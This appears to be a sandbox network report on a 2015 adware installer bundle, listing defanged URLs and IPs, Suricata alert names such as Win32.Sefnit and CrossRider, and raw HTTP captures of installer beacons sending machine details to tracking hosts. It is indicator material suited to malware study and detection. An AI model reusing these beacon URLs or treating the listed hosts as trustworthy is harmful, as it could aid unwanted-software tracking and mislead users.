hxxp://xa.xingcloud.com/v4/sof-installer/267123711_198339_B48A115F?action=smt.installer.istartsurf.nt.ff.tab	69.28.58.55
hxxp://edition.cnn.com/WORLD/index.html?eref=rss_world	185.31.17.73
hxxp://stats.basememlog.com/installer.gif?action=started&app=70299&appver=0&ver=1_36_01_22&version_date=15-05-15&bic=f1455de99fbc9c9080e7ed2fd747836eIE&verifier=b2eb32d323f5359842a735827d51a4f5&upi=f1455de99fbc9c9080e7ed2fd747836e&procid=BA08CCC2F1F54650A2ACED5B27E7A152PI&srcid=000805&subid=0&zdata=eyJkYXRhIjp7ImRhdGUiOiJGNUZ3c210eWMxLCUlUElYR1VJRChhZmY9c210eWMmc3ViPTEmcHJvZHVjdD15dGE=,&browser=ie&browserver=10&default=ie&chver=41.0.2272.118&ffver=29.0.1&iever=10.0.9200.16521&curtime=&country=ua&aver=X&xpiver=0_95&crxver=1_26_42&silent=1&os=7(64bit)&osbuild=7601&osprod=Windows 7 Professional N&ossp=Service Pack 1&osinstdt=1363796288&admin=1&type=17179873281&asw=0&asw2=1073750533&asw3=-2147475456&asw4=2048&crtnm=na&mdat=&procstarttime=1431730972&procruntime=2&rnd=1431730974	54.231.1.92
hxxp://i2.cdn.turner.com/cnnnext/dam/assets/140528100911-driverless-cars-google-story-top.jpg	87.245.221.97
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/32252.ashx?e=xZXl1pX5gRk5015vZaqaD/3jI8Lhhn0aQF3UKsSdb2t7HO4WybUyR1UeQGsGyqMaWN5QUBVog6 eUaSn PKsCGAqR2XPWVGh jCDsw4o/xYUAvnawhe3hVdVxGgZRPVfMXFTku JRco heK0xfXkQRxc81u2rgCm44UuTa3qd5D7MusukiOxFesStD0GefRoZvexgeT02d5gFrrHZIkT07CPXfs0VGOutK1wir 9nJN2uJXiY94Hd9BsUJC/kEr0V2YT/J4lJ7qLkJa1saxG4d9O68WmdWuUShk/gGCmqZPZua0qaNRZzqVyeEjxCyoP0GbKHsMThLvzP8wrMbNKWJGXO0HAFwG1R7Qc7lJh uHebZZiKi64b1faQyCq7DrsmXNtOW7Zday9rCVSgOD pjAKNPoaDrBh6/v/Hm2KcpYHy1S9Ab35kZ/TvhUEvA3 3MoS/fu50NJ4btJZyNF/hC 3M747DWtvGa5KT2RnSJJnWpr61EGbEgSa6Z efd4uyZD6A1psf2ya3UsgcT0aYMiISMf8I5JK	198.232.124.192
hxxp://online.GOOBZO.com/online/ka.aspx?CV=2.0.0.0&ProductID=12000&UserID=09d19378-3ffd-4726-b60b-7f15db982dc3&Password=PljGPm9d&OS=10&V=3.3.9.4&VS=0&Beta=0&Aff=smtyc0_0_0_0_0,d37f2acf-36b1-44a7-82e5-18cd40d4d9e7,&BundleID=NONE&BrandID=NONE&PartnerList=&XMLVersion=0&UpdateReason=0&resver=1.0.0.8&VA_Aff=NONE&ElapsedTime=1431730965&SBPIDS=1&KA=1
hxxp://download.genieo.com/partner/gim394750002/release/r16741/genieo_setup.gen	54.231.11.88
hxxp://xa.xingcloud.com/v4/sof-installer/267123711_198339_B48A115F?action=smt.installer.istartsurf.ds	69.28.58.55
hxxp://bi.bisrv.com/downloader/network_smb_indostreamix/vlcmediaplayerelzy/4dfad7cc08236142b5420a1deefa56ef?muid=AD2252CE007468623BD139B0ADEC3423&v1=:v1:&cv=:cv:&v=2.1v=2.1&uid=4dfad7cc08236142b5420a1deefa56ef&muid=AD2252CE007468623BD139B0ADEC3423	78.138.127.15
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/10957.ashx?e=gwZ4/u7hMkKt 9hOzZQLUHbogtPPZKsKjA5kVqVgWdD8SaNRCRsmEYzpbjeDHyvNvoRldPc1Yyom9oClAiF8CTqMYFcOOPWQ0ZuKdRrFkLYmqWHNCxcW3VHmS0Zrngqa/u6z7Uinv/jYdjfUl7cOWkCN9h bV19VYprmtggrnPkRGT FmTEtcdCUHeR8YCF3cICI7/tQlejZeojEglKF4wTxchauHrQ9hdXWs9gHCsWrLZx3iqhAOXSh4 HSf3c17G8X1negC9ViA7TIcAcS1AXIYVODptJgeXtKxW7QQ3aW2hPuTjVc 5v9Yrimx5Zd4NM7ovYotceRgwXWwUv3w==	198.232.124.192
hxxp://errors.basememlog.com/utility.gif?report=fdata&f=1&c=000805&i=600&n=deploy_omaha_start_funnel_step_name&rnd=1431730977	54.231.17.196
hxxp://ocsp.verisign.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTEemCaVgs8Tuh2B9fGVE0pKKNyzgQUTF+nNhcF4oZhIkk5jLmo40rgOBoCEC6utoKGY/7ZdVX4/iTzOxo=	23.37.43.27
hxxp://bi.bisrv.com/pinger?event_type=install_start&installer_source=tokyo-bidl&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=226e0daa89188549baf0d586a6bc816b&uniqid=1e49cbf272b0b1cc3bcc98a4a55de57c&affiliate_id=network_smb_indostreamix&software_id=vlcmediaplayerelzy&sponsored_id=youtubeaccelerator&tokyo_csrf2_key=82648e528732ef52d9478630a658126f&tokyo_csrf2_timestamp=1431730939&slot_number=1&index_in_screen=1&index_in_session=1&0.6873948403881654	78.138.127.15
hxxp://analytics.genieo.com/track?uid={32251120-2B2D-43EF-B352-87E9353282DF}&partner=gim394750002&dev=false&history_firefox=1	64.233.167.121
hxxp://i2.cdn.turner.com/cnnnext/dam/assets/150514192742-obama-welcomes-leaders-and-delegations-from-the-gulf-cooperation-council-large-169.jpg	87.245.221.97
hxxp://i2.cdn.turner.com/cnnnext/dam/assets/150514114639-01-burundi-unrest-0514-large-169.jpg	87.245.221.97
hxxp://rep.youtubeaccelerator.com/app/ping.ashx?e=GFrjZskQvqOidLNtGGzWYafeYUWHDjJusTadiXuEw/FQZA4QTL6INXiz8MvwnC6V7QroWSH/ZBHqMDSi8JPnXntmD8Dkx2dt5mDgmLsXV3a7ZC ZeIWVzmZVsyaCUtL6XfHLV5RkvSuB5e0rFbtBDdpbaE 5ONVz7m/1iuKbHll3g0zui9ii12p0t5IVVltxSJ2GEE6wp4x0ZOR3qDKzNEkiM1XqVHspN5k/xV0ou3jDB1OlY/J/1oFr06D0Dj31jPDFOy mdVxc7JTfzqJuQ2xNoUmVdbK77K3bmITDI9ugvTy3mMGGj05dqXz9flXj4lLgnAn9XR9g5TXL9gg1EQg JX2MctVxds0u3g0oWIicSo4m2rDE1hBcSKZQJHcHEjhVflPPH5XkBjOSgDRKHQ==	54.197.238.106
hxxp://i2.cdn.turner.com/cnnnext/dam/assets/150513204138-without-shoes-campaign-toms-orig-00010918-large-169.jpg	87.245.221.97
hxxp://errors.basememlog.com/utility.gif?report=fdata&f=1&c=000171&i=10000&n=deploy_end_funnel_step_name&rnd=1431730982	54.231.17.196
hxxp://xa.xingcloud.com/v4/sof-installer/267123711_198339_B48A115F?action=smt.dlzip1.istartsurf.finish,2	69.28.58.55
hxxp://www.bbc.co.uk/news/world-us-canada-32757790	212.58.246.54
hxxp://pass.yandex.ua/?retpath=http://yandex.ua/yandsearch?lr=147&redircnt=1431731090.1&fretpath=http://yandex.ua/yandsearch?lr=147&redircnt=1431731090.1	213.180.204.47
hxxp://i2.cdn.turner.com/cnnnext/dam/assets/150331115950-high-school-students-in-eyeglasses-large-169.jpg	87.245.221.97
hxxp://stats.basememlog.com/apps.gif?action=install&app=70121&appver=&ver=1_36_01_22&version_date=15-05-15&bic=f1455de99fbc9c9080e7ed2fd747836eIE&verifier=b2eb32d323f5359842a735827d51a4f5&upi=f1455de99fbc9c9080e7ed2fd747836e&procid=7D10842229D84798A10F86FEE6A717A0PI&srcid=000171&subid=0&zdata=eyJkYXRhIjp7ImRhdGUiOiJGNUZ6dHNtdHljMCxkMzdmMmFjZi0zNmIxLTQ0YTctODJlNS0xOGNkNDBkNGQ5ZTcsIiwidW5xIjoiZDM3ZjJhY2YtMzZiMS00NGE3LTgyZTUtMThjZDQwZDRkOWU3In19&browser=ie&browserver=10&default=ie&chver=41.0.2272.118&ffver=29.0.1&iever=10.0.9200.16521&curtime=&country=ua&aver=X&installtime=1431730972&lifetime=0&silent=1&crtnm=na&procstarttime=1431730972&procruntime=13&rnd=1431730985	54.231.1.92
hxxp://clubs.ya.ru/company/	87.250.251.57
hxxp://errors.basememlog.com/utility.gif?report=fdata&f=1&c=000171&i=1000&n=deploy_ie_start_funnel_step_name&rnd=1431730980	54.231.17.196
hxxp://online.GOOBZO.com/online/ka.aspx?CV=2.0.0.0&ProductID=12000&UserID=74e69be7-98f2-4545-86a7-90384c52884d&Password=R73ubJdk&OS=10&V=3.3.9.4&VS=0&Beta=0&Aff=smtyc0_0_0_0_0,d37f2acf-36b1-44a7-82e5-18cd40d4d9e7,&BundleID=NONE&BrandID=NONE&PartnerList=&ElapsedTime=1431730963&SBPIDS=1&KA=1
hxxp://i2.cdn.turner.com/cnnnext/dam/assets/150507172545-06-week-in-photos-0508-large-169.jpg	87.245.221.97
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/10957.ashx?e=gwZ4/u7hMkKt 9hOzZQLUHbogtPPZKsKjA5kVqVgWdD8SaNRCRsmEYzpbjeDHyvNvoRldPc1Yyom9oClAiF8CTqMYFcOOPWQ0ZuKdRrFkLYmqWHNCxcW3VHmS0Zrngqa/u6z7Uinv/jYdjfUl7cOWkCN9h bV19VHjGYjGl0N5sE8SFHLIEPsM3UKcKGG9ndxuC523JvYYdSkkpIJMyTNdApcSbF ajtWckiMiVYfJeK7a1soWlgbXd/rihenux94iIt7FscEyIm9oClAiF8CTqMYFcOOPWQ0ZuKdRrFkLaz074LCUmuYA==	198.232.124.192
hxxp://finance.yahoo.com/blogs/daily-ticker/rss	188.125.93.39
hxxp://i2.cdn.turner.com/cnnnext/dam/assets/140403201404-top-10-letterman-photo-large-169.png	87.245.221.97
hxxp://news.yahoo.com/robots.txt	188.125.93.38
hxxp://bi.bisrv.com/downloader/network_smb_indostreamix/vlcmediaplayerelzy/e1b8a78c0881034aa57a76140e007cf2?muid=AD2252CE007468623BD139B0ADEC3423&v1=:v1:&cv=:cv:&v=2.1v=2.1&uid=e1b8a78c0881034aa57a76140e007cf2&muid=AD2252CE007468623BD139B0ADEC3423	78.138.127.15
hxxp://i2.cdn.turner.com/cnnnext/dam/assets/131112192547-spin-bottle-serendipity-large-169.jpg	87.245.221.97
hxxp://www.nytimes.com/services/xml/rss/nyt/GlobalHome.xml	170.149.168.130
hxxp://download.genieo.com/core/release/r16741/manifest.xml	54.231.11.88
hxxp://i2.cdn.turner.com/cnnnext/dam/assets/150219110954-restricted-01-kim-jong-un-0219-large-169.jpg	87.245.221.97
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/10957.ashx?e=hpY1rXLYst7XN7SCySESd1gQ66KMArs6sg7jyZ2P5QEQyol6Hp9RdsFeXk7XK CmCknXtvSK170yKwrqwqi/cJO69qkj7zZCar2S5g8C6DaPt3dUQCvzD3uBxnZ00rQVjKjHf0fty0jJarzC68jV83NG jggZpybt8v1P82G Yuz8LjnD4BZNQQy9IgZy5lJKYX3Ti/i3YPT/CRzrsOCIBN0OSM ZbEuhOeBVpsxK34gGeUpHHIWiSSfRcuIfR0fUu0KI1IApgUwqc65TUDdv/PP1z34ZOLgVVh b/pIQAfYmlyZEPVghB7c540dk3nMqzK4ONZfy8uwkk WHLaN3BOpzAENMeu5cVazcbc9chGV2a3pWCTy1AIEnK4HW7/UMisK6sKov3CTuvapI 82Qmq9kuYPAug2j7d3VEAr8w9yty5SoJILjg==	198.232.124.192
hxxp://analytics.genieo.com/track?uid={32251120-2B2D-43EF-B352-87E9353282DF}&partner=gim394750002&dev=false&history_opera=0	64.233.167.121
hxxp://download.genieo.com/core/release/r16741/updater_manifest.xml	54.231.11.88
hxxp://errors.basememlog.com/utility.gif?report=fdata&f=1&c=000805&i=900&n=deploy_ff_start_funnel_step_name&rnd=1431730978	54.231.17.196
hxxp://i2.cdn.turner.com/cnnnext/dam/assets/150407162433-afghan-rape-gulnaz-large-169.jpg	87.245.221.97
hxxp://errors.basememlog.com/utility.gif?report=fdata&f=1&c=000805&i=500&n=deploy_notification_start_funnel_step_name&rnd=1431730977	54.231.17.196
hxxp://i2.cdn.turner.com/cnnnext/dam/assets/150323200604-erin-dnt-elbagir-nigeria-children-for-sale-00032720-large-169.jpg	87.245.221.97
hxxp://i2.cdn.turner.com/cnnnext/dam/assets/150423163714-migrants---s046644079-large-169.jpg	87.245.221.97
hxxp://rss.news.yahoo.com/robots.txt	77.238.184.150
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/10957.ashx?e=A3ANzFv7fWAOe2V62UQmjlPJMnQ/271vtwaYA5cXz78Qyol6Hp9RdsFeXk7XK CmCknXtvSK170yKwrqwqi/cJO69qkj7zZCar2S5g8C6DaPt3dUQCvzD3uBxnZ00rQVjKjHf0fty0jJarzC68jV83NG jggZpybFlHkOrHfnXJ0js0 pge/oATxIUcsgQ wfJnh8VDEgRRaGTHNblQCKMTtamInV1z8CfoxGMR8UV/G4Lnbcm9hh1KSSkgkzJM10ClxJsX5qO1ZySIyJVh8l4rtrWyhaWBtd3 uKF6e7H3iIi3sWxwTIib2gKUCIXwJOoxgVw449ZDRm4p1GsWQtrPTvgsJSa5g	198.232.124.192
hxxp://i2.cdn.turner.com/cnnnext/dam/assets/150430103324-nepal-baby-large-10-large-169.jpg	87.245.221.97
hxxp://i2.cdn.turner.com/cnnnext/dam/assets/150403102941-cambodia-sex-revisit-freedom-project-large-169.jpg	87.245.221.97
hxxp://i2.cdn.turner.com/cnnnext/dam/assets/150407140705-01-tsarnaev-homepage-large-169.jpg	87.245.221.97
hxxp://errors.basememlog.com/utility.gif?report=fdata&f=1&c=000171&i=950&n=deploy_nova_ie_start_funnel_step_name&rnd=1431730980	54.231.17.196
hxxp://i2.cdn.turner.com/cnnnext/dam/assets/150513041334-lklv-novak-north-korea-executes-defense-chief-00004027-large-169.jpg	87.245.221.97
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/10957.ashx?e=yhrBLBbZM9XZ/Qu8ewVmadZ/7x4XnQsxsg7jyZ2P5QEQyol6Hp9RdsFeXk7XK CmCknXtvSK170yKwrqwqi/cJO69qkj7zZCar2S5g8C6DaPt3dUQCvzD3uBxnZ00rQVjKjHf0fty0jJarzC68jV83NG jggZpybWLazpewXw1iOTz1mAXFvBrPiCC4paVhd51vWMEpOYI9vFWuyZiLPwVfMcUAAn47OdXf8s99rZqrmh5G7kLgKqVXo80RT67Oh9qn20QlhWbaExpgoHHKdGB0VQjjQGElPZ1qa tRBmxIEmumfnn3eLsmQ gNabH9smt1LIHE9GmAQ VwoE0aIX/TbXnzkx FKmeSO24oBE8ZdN IvNarENgwOtFY1v9r65a9zURFJj8tKc8aV27M6Qw==	198.232.124.192
hxxp://feeds.nytimes.com/nyt/rss/HomePage	170.149.168.130
hxxp://errors.basememlog.com/utility.gif?report=fdata&f=1&c=000171&i=500&n=deploy_notification_start_funnel_step_name&rnd=1431730977	54.231.17.196
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/10957.ashx?e=gwZ4/u7hMkKt 9hOzZQLUHbogtPPZKsKjA5kVqVgWdD8SaNRCRsmEYzpbjeDHyvNvoRldPc1Yyom9oClAiF8CTqMYFcOOPWQ0ZuKdRrFkLYmqWHNCxcW3VHmS0Zrngqa/u6z7Uinv/jYdjfUl7cOWkCN9h bV19VQxif0o9fDfziIWpgU8OD6Y4G r 3F6T7vrZfSMZOBD0PEr/Af2Blr2dVm6duC02rjzFRiuaQ/ZM1PFn8yow0OxBJeQlwjVbw0bQp3LrD9wFy7fwPfdQyks3aK7WMV1mNb4nh7Zuj/WLqPz/o89hHBxXqXpc2s1o7TwnkosslquiFY43 wW0aNqe8ifHXDY89WL3FpwV1CAqnvInx1w2PPc2VD/MtGD91X6uTd7zWY/SJxaCZD XFLYzwxTsvpnVcXOyU386ibkNsTaFJlXWyu yt25iEwyPbjsvnWTmObjOwEISYEO9NS8iywNY6L/ueds0u3g0oWIicSo4m2rDE1hBcSKZQJHcHEjhVflPPH5U=	198.232.124.192
hxxp://ocsp.verisign.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSpuCE3aK3GivZPzGQJ6L5BRyZofwQUl9BrqCZwyKE/lB8ILcQ1m6ShHvICEAxNF3PJUX7iAOhAP2oGxcI=	23.37.43.27
hxxp://promotion.genieo.com/robots.txt	74.125.133.121
hxxp://i2.cdn.turner.com/cnnnext/dam/assets/150511150644-gerrard-liverpool-chelsea-large-169.jpg	87.245.221.97
www.youtube.com	173.194.112.136
pass.yandex.ru	87.250.250.51
log.very911.com
feeds.digg.com

IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

SURICATA UDPv4 invalid checksum
SURICATA IPv4 invalid checksum
ET TROJAN Win32.Sefnit
ET SHELLCODE Possible TCP x86 JMP to CALL Shellcode Detected
ET POLICY Executable served from Amazon S3
SURICATA STREAM SHUTDOWN RST invalid ack
SURICATA STREAM Packet with invalid ack
ET MALWARE Win32/Toolbar.CrossRider.A Checkin
ET POLICY User-Agent (NSIS_Inetc (Mozilla)) - Sometimes used by hostile installers
ET POLICY Vulnerable Java Version 1.6.x Detected
GPL WEB_CLIENT server negative Content-Length attempt
ET MALWARE Suspicious Mozilla User-Agent - Likely Fake (Mozilla/4.0)

Traffic

GET /monetization.gif?event=3&ibic=f1455de99fbc9c9080e7ed2fd747836eIE&verifier=b2eb32d323f5359842a735827d51a4f5&campaign=000171&country=ua&app=70121&os=7(64bit)&defbro=ie&chver=41.0.2272.118&ffver=29.0.1&iever=10.0.9200.16521&starttime=1431730972&asw=0_1073750533_-2147475456_2048&browser=ff&rnd=1431730972 HTTP/1.1

Host: logs.basememlog.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

Date: Fri, 15 May 2015 23:02:54 GMT

Keep-Alive: timeout=10, max=100

Connection: Keep-Alive

Accept-Ranges: bytes

ETag: "1389114507"

Last-Modified: Tue, 07 Jan 2014 17:08:27 GMT

Cache-Control: max-age=86400

Content-Length: 35

Content-Type: image/gif

X-HW: 1431730975.dop009.am4.t,1431730974.cds058.am4.c

GIF89a.............,...........D..;HTTP/1.1 200 OK..Date: Fri, 15 May 
2015 23:02:54 GMT..Keep-Alive: timeout=10, max=100..Connection: Keep-A
live..Accept-Ranges: bytes..ETag: "1389114507"..Last-Modified: Tue, 07
 Jan 2014 17:08:27 GMT..Cache-Control: max-age=86400..Content-Length: 
35..Content-Type: image/gif..X-HW: 1431730975.dop009.am4.t,1431730974.
cds058.am4.c..GIF89a.............,...........D..;..

GET /10957.ashx?e=A3ANzFv7fWAOe2V62UQmjlPJMnQ/271vtwaYA5cXz78Qyol6Hp9RdsFeXk7XK CmCknXtvSK170yKwrqwqi/cJO69qkj7zZCar2S5g8C6DaPt3dUQCvzD3uBxnZ00rQVjKjHf0fty0jJarzC68jV83NG jggZpybFlHkOrHfnXJ0js0 pge/oATxIUcsgQ wfJnh8VDEgRRaGTHNblQCKMTtamInV1z8CfoxGMR8UV/G4Lnbcm9hh1KSSkgkzJM10ClxJsX5qO1ZySIyJVh8l4rtrWyhaWBtd3 uKF6e7H3iIi3sWxwTIib2gKUCIXwJOoxgVw449ZDRm4p1GsWQtrPTvgsJSa5g HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK

Date: Fri, 15 May 2015 23:02:43 GMT

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Server: NetDNA-cache/2.2

X-Cache: MISS

HTTP/1.1 200 OK..Date: Fri, 15 May 2015 23:02:43 GMT..Content-Length: 
0..Connection: keep-alive..Cache-Control: private, no-store..X-AspNet-
Version: 4.0.30319..X-Powered-By: ASP.NET..Server: NetDNA-cache/2.2..X
-Cache: MISS......

GET /10957.ashx?e=c2mW1WEUbCGidLNtGGzWYUmfPxKtzbEM1VMaOJFqXYpm5LT87ehXaouB5vT09TkZU415VydB1BnpFBfC/1GFX1sFx0Ai5knupjdibKIr9As4ou3K/BuTrriKIFo3W8f23Wq7IsWCDz6EFBpfj8N9vXZWIHhdOu4n31fTgrR12XwN5lyRGN/ZhwIcLERiDa7o1PGi1jiMiVB/GFq7jeHujNOMHCwUiLtt2M k6nRqIwQzvRP dcw0L2ywgV52R4NzBT4DqSJhyM3mODCqGlX7dFUAApkcaIS vn9 i6URlkw5E7fTGofcC5QZBn7pcY5RssgX4HQvzDxnWpr61EGbEgSa6Z efd4uyZD6A1psf2ya3UsgcT0aYBD5XCgTRohf9NtefOTH4UqZ5I7bigETxl034i81qsQ2DA60VjW/2vrlr3NREUmPy0pzxpXbszpD HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK

Date: Fri, 15 May 2015 23:02:44 GMT

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Server: NetDNA-cache/2.2

X-Cache: MISS

....

GET /10957.ashx?e=QgW8pN5r26ZQhScA1jb3T83pm3/PWZt17OXLse4BafTbQC nVTu53mZVsyaCUtL6XfHLV5RkvSuB5e0rFbtBDdpbaE 5ONVz7m/1iuKbHll3g0zui9ii1/uVL3Gu9UwvVR5AawbKoxp11TCyTpFsxf/e2L4omH5cWLazpewXw1hfOKWYd4uGNAB/MXM5vy8Es IILilpWF0R fXJinWV7npoW8o/g6d5g577mTPDhZg2zg/uCXuilWoc/aBGrmt04td6Rt2cx8sFsK7/Ya3qp3H4CQmKwMH4mSX0slVqEAn3iSFFCNvSibmv2IW2mkLW4Sygye4Bx OK6Bbaa/22ObTDPRTojvSCHMVy4A0ZhyxUZfK0BbRhO kUF8L/UYVfWwXHQCLmSe6mN2Jsoiv0C3E2wOafKrBS HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK

Date: Fri, 15 May 2015 23:02:45 GMT

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Server: NetDNA-cache/2.2

X-Cache: MISS

HTTP/1.1 200 OK..Date: Fri, 15 May 2015 23:02:45 GMT..Content-Length: 
0..Connection: keep-alive..Cache-Control: private, no-store..X-AspNet-
Version: 4.0.30319..X-Powered-By: ASP.NET..Server: NetDNA-cache/2.2..X
-Cache: MISS..

GET /services/xml/rss/nyt/GlobalHome.xml HTTP/1.1

Accept-Encoding: gzip,deflate

Host: VVV.nytimes.com

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)

Cookie: RMID=007f01013f4655567b99000b

Cookie2: $Version=1


HTTP/1.1 301 Moved Permanently

Date: Fri, 15 May 2015 23:05:14 GMT

Server: Apache

X-API-Version: 4

Location: hXXp://rss.nytimes.com/services/xml/rss/nyt/InternationalHome.xml

Content-Length: 273

Connection: close

Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<html>&
lt;head>.<title>301 Moved Permanently</title>.</head
><body>.<h1>Moved Permanently</h1>.<p>The d
ocument has moved <a href="hXXp://rss.nytimes.com/services/xml/rss/
nyt/InternationalHome.xml">here</a>.</p>.</body>&
lt;/html>...

GET /v4/sof-installer/267123711_198339_B48A115F?action=smt.installer.istartsurf.ChromeSync HTTP/1.1

Connection: Keep-Alive

User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) Pi/3.1415926

Host: xa.xingcloud.com


HTTP/1.1 200 OK

Server: nginx/1.6.2

Date: Fri, 15 May 2015 23:03:05 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: keep-alive

X-Powered-By: PHP/5.3.3

xa-api-version: v4

48..{"stats":"ok","time":"1.52 ms","message":"store 1 action and 0 upd
ate "}..0..HTTP/1.1 200 OK..Server: nginx/1.6.2..Date: Fri, 15 May 201
5 23:03:05 GMT..Content-Type: text/html; charset=utf-8..Transfer-Encod
ing: chunked..Connection: keep-alive..X-Powered-By: PHP/5.3.3..xa-api-
version: v4..48..{"stats":"ok","time":"1.52 ms","message":"store 1 act
ion and 0 update "}..0..

GET /t.ashx?e=j7YMo/n29XMLjT49fHfOTKKBRU2urqEn/WD6e6SZIIHeyzV7AofXlhYwsCIys4jFl9RbU5Ar lx SVjrzujXJuLt6BhzfOsDsdipVbPJvC6kpVRpoAJ8AwjYjXjSiKQCjPDFOy mdVxc7JTfzqJuQ2xNoUmVdbK77K3bmITDI9tzfMa2zgJTnw== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: xqjdaibxl-g48pastf.netdna-ssl.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Date: Fri, 15 May 2015 23:02:25 GMT

Content-Type: text/html; charset=utf-8

Content-Length: 13

Connection: keep-alive

Cache-Control: private,no-cache, no-store

X-AspNet-Version: 2.0.50727

X-Powered-By: ASP.NET

Server: NetDNA-cache/2.2

X-Cache: MISS

abfgshdgfjhsk....

GET /t.ashx?e=j7YMo/n29XMLjT49fHfOTKKBRU2urqEn/WD6e6SZIIHeyzV7AofXlhYwsCIys4jFl9RbU5Ar lx SVjrzujXJuLt6BhzfOsDsdipVbPJvC6kpVRpoAJ8AwjYjXjSiKQCjPDFOy mdVxc7JTfzqJuQ2xNoUmVdbK77K3bmITDI9tzfMa2zgJTnw== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: xqjdaibxl-g48pastf.netdna-ssl.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Date: Fri, 15 May 2015 23:02:25 GMT

Content-Type: text/html; charset=utf-8

Content-Length: 13

Connection: keep-alive

Cache-Control: private,no-cache, no-store

X-AspNet-Version: 2.0.50727

X-Powered-By: ASP.NET

Server: NetDNA-cache/2.2

X-Cache: MISS

abfgshdgfjhsk....

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: xqjdaibxl-g48pastf.netdna-ssl.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Date: Fri, 15 May 2015 23:02:26 GMT

Content-Type: text/html; charset=utf-8

Content-Length: 13

Connection: keep-alive

Cache-Control: private,no-cache, no-store

X-AspNet-Version: 2.0.50727

X-Powered-By: ASP.NET

Server: NetDNA-cache/2.2

X-Cache: MISS

abfgshdgfjhskHTTP/1.1 200 OK..Date: Fri, 15 May 2015 23:02:26 GMT..Con
tent-Type: text/html; charset=utf-8..Content-Length: 13..Connection: k
eep-alive..Cache-Control: private,no-cache, no-store..X-AspNet-Version
: 2.0.50727..X-Powered-By: ASP.NET..Server: NetDNA-cache/2.2..X-Cache:
 MISS..abfgshdgfjhsk..

GET /pages/international/index.html?partner=rss&emc=rss HTTP/1.1

Accept-Encoding: gzip,deflate

Host: VVV.nytimes.com

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)

Cookie: RMID=007f01013f4655567b99000b

Cookie2: $Version=1


HTTP/1.1 301 Moved Permanently

Date: Fri, 15 May 2015 23:05:00 GMT

Server: Apache

X-API-Version: 4

Location: hXXp://international.nytimes.com?partner=rss&emc=rss

Content-Length: 264

Connection: close

Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<html>&
lt;head>.<title>301 Moved Permanently</title>.</head
><body>.<h1>Moved Permanently</h1>.<p>The d
ocument has moved <a href="hXXp://international.nytimes.com?partner
=rss&emc=rss">here</a>.</p>.</body></html&
gt;...

GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBS56bKHAoUD+Oyl+0LhPg9JxyQm4gQUf9Nlp8Ld7LvwMAnzQzn6Aq8zMTMCED141/l2SWCyYX308B7Khio= HTTP/1.1

Connection: Keep-Alive

Accept: */*

User-Agent: Microsoft-CryptoAPI/6.1

Host: s2.symcb.com


HTTP/1.1 200 OK

Server: nginx/1.4.7

Content-Type: application/ocsp-response

Content-Length: 1762

content-transfer-encoding: binary

Cache-Control: max-age=585466, public, no-transform, must-revalidate

Last-Modified: Fri, 15 May 2015 17:39:57 GMT

Expires: Fri, 22 May 2015 17:39:57 GMT

Date: Fri, 15 May 2015 23:06:05 GMT

Connection: keep-alive
0..........0..... .....0......0...0......;O}a.!..u...au..eUNp..2015051
5173957Z0s0q0I0... ...................B.>.I.$&.....e......0..C9...3
13..=x..vI`.a}.....*....20150515173957Z....20150522173957Z0...*.H.....
........ax.gFr;....<.a..y}}....z.....V7...zU.d%5.B.h.S.../.V.....3.
...]%...U[.........L.5.&^z..B.*.i...=.o....d...&$.{M..s7...m......8".1
..;a!...y..G....k;..,..?q. ....5.|.l8..a~b..R....kf.K.lq.<.u...#..u
Jii.yM3...c<.2...M.:...nw..x3.........`....8...i^.|[N..`...d....0..
.0...0...........2...'U.BM...g.B0...*.H........0..1.0...U....US1.0...U
....VeriSign, Inc.1.0...U....VeriSign Trust Network1:08..U...1(c) 2006
 VeriSign, Inc. - For authorized use only1E0C..U...<VeriSign Class 
3 Public Primary Certification Authority - G50...141202000000Z..151216
235959Z0..1.0...U....US1.0...U....Symantec Corporation1.0...U....Syman
tec Trust Network1?0=..U...6Symantec Class 3 PCA - G5 OCSP Responder C
